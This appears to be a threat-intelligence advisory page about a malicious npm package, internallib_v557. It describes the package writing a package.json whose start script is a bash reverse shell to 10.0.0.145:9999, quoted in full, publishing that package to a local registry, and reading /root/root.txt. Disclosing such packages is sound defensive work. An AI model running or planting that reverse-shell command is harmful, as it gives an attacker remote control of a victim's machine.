THREATPKG
SYNC STALE

Supply-chain threat intelligence

Incident detail

criticalnpm·maintainer compromise·osv

Malicious code in internallib_v557 (npm)

internallib_v557

Risk score

92

AI summary

Indexed incident for internallib_v557 (npm).

Description

internallib_v557 has no legitimate functionality — its single exported command() function in index.js writes a malicious package.json to /tmp/uhclabs_local_check/ whose start script is a bash reverse shell to 10.0.0.145:9999 (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.145/9999 0>&1'), then runs npm publish --registry http://0.0.0.0:4873/ to push that reverse-shell-bearing package into a local Verdaccio registry where it can be pulled by other consumers. The same function also executes cat /root/root.txt and logs the contents to stdout, attempting to exfiltrate a privileged host file the package has no legitimate need to read. The harmful path fires when any consumer requires the package and invokes the advertised API; since the package has no other functionality, normal use guarantees compromise.

Technical details

Affected versions

=1.0.10

Indicators

  • affected version=1.0.1075%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents